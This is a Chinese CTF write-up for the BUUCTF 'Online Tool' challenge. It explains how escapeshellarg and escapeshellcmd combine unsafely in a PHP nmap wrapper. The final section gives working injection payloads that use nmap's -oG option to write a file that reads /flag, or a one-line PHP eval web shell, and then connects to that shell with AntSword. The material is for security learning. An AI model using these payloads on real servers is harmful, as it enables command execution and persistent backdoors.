BUUCTF-2018-Online-Tool

1. 首页

网页源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

2. 前言

2.1 $_SERVER[]详解

PHP中$_SERVER参数HTTP_X_FORWARDED_FOR &REMOTE_ADDR与获取IP;;

在PHP 中使用 $_SERVER["REMOTE_ADDR"] 来取得客户端的 IP地址,但如果客户端是使用代理服务器来访问,那取到的就是代理服务器的 IP 地址,而不是真正的客户端 IP 地址。要想透过代理服务器取得客户端的真实 IP 地址,就要使用$_SERVER["HTTP_X_FORWARDED_FOR"] 来读取。

不过要注意的事,并不是每个代理服务器都能用 $_SERVER["HTTP_X_FORWARDED_FOR"] 来读取客户端的真实IP,有些用此方法读取到的仍然是代理服务器的 IP。

还有一点需要注意的是:如果客户端没有通过代理服务器来访问,那么用$_SERVER["HTTP_X_FORWARDED_FOR"]取到的值将是空的。

1
2
$_SERVER['HTTP_X_FORWARDED_FOR']
$_SERVER['REMOTE_ADDR'] //浏览当前页面的用户的 IP 地址

官方文档

参考文档

2.2 highlight_file() 函数

输出或返回包含在 filename 中的代码的语法高亮版本。

例子

“test.php”:

1
2
3
4
5
6
7
<html>
<body>
<?php
highlight_file("test.php");
?>
</body>
</html>

输出:

1
2
3
4
5
6
7
<html> 
<body>
<?php //开始
highlight_file("test.php");
?> //结束
</body>
</html>

官方文档

[参考文档][https://www.w3school.com.cn/php/func_misc_highlight_file.asp]

2.3 escapeshellarg函数

escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数

1
escapeshellarg ( string $arg ) : string

escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含 exec(), system() 执行运算符

1
2
需要被转码的参数    arg  
返回值 转换之后字符串

范例

示例 #1 escapeshellarg() 的例子

1
2
3
4
5
6
1. 127.0.0.1' -v -d a=1
escapeshellarg转义后:
2. '127.0.0.1'\'' -v -d a=1'
//有单引号会先在单引号前添加\然后两边加'',最后整个语句再加''
escapeshellcmd转义后
3. '127.0.0.1'\\'' -v -d a=1\'

官方文档

2.4 escapeshellcmd函数

escapeshellcmd — shell 元字符转义

说明

1
escapeshellcmd ( string $command ) : string

escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec()system() 函数,或者 执行操作符 之前进行转义。

1
反斜线(\)会在以下字符之前插入: &#;`|*?~<>^()[]{}$\, \x0A 和 \xFF。 ' 和 " 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。
1
2
要被转义的参数命令        command
转义后的字符串 返回值

范例

示例 #1 escapeshellcmd() example

1
<?php// 我们故意允许任意数量的参数$command = './configure '.$_POST['configure_options'];$escaped_command = escapeshellcmd($command); system($escaped_command);?>

警告:escapeshellcmd()应被用在完整的命令字符串上。 即使如此,攻击者还是可以传入任意数量的参数。 请使用 escapeshellarg() 函数 对单个参数进行转义。

对于单个单引号, escapeshellarg 函数转义后,还会在左右各加一个单引号,但 escapeshellcmd 函数是直接加一个转义符,对于成对的单引号, escapeshellcmd 函数默认不转义,但 escapeshellarg 函数转义

官方文档

参考文档

3. 解析

3.1 第一步 取地址

1
2
3
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

为了取浏览器当前用户的真实IP,使得使用PHP的 $_SERVER["REMOTE_ADDR"] 一致取得客户端的 真实IP地址。

3.2 第二步 转义

1
2
3
4
5
6
7
8
9
10
else {
$host = $_GET['host']; //get方式上传host参数
$host = escapeshellarg($host); //参数host为要转义后的字符串
$host = escapeshellcmd($host); //参数host为要转义后的字符串
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);//IP和"glzjin"一起进行MD5加密放入沙箱中
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);//system执行nmap命令
}

尝试利用

1
http://7ba8fb22-21fa-4faf-9a17-0fbb2d258599.node3.buuoj.cn/?host=127.0.0.1

所以nmap是扫描host的内容,我们要利用host,将查询flag的语句cat /flag添加到host中

3.2 构造payload

nmap有一个参数-oG可以实现将命令和结果写到文件;所以我们可以控制自己的输入写入文件,这里我们可以写入一句话木马链接,也可以直接命令 cat flag

1
<?php echo `cat /flag`;?> -oG test.php
1
2
3
?host=' <?php echo `cat /flag`;?> -oG test.php '
或者:?host=' <?php @eval($_POST["shell"]);?> -oG shell.php '
//因为‘’会被转义,所以用``
1
2
蚁剑连接:
http://be3b8a7a-eb16-4977-8512-b05cbecb5b10.node3.buuoj.cn/8241e8c62b209d7c6a3780dca41553a2/shell.php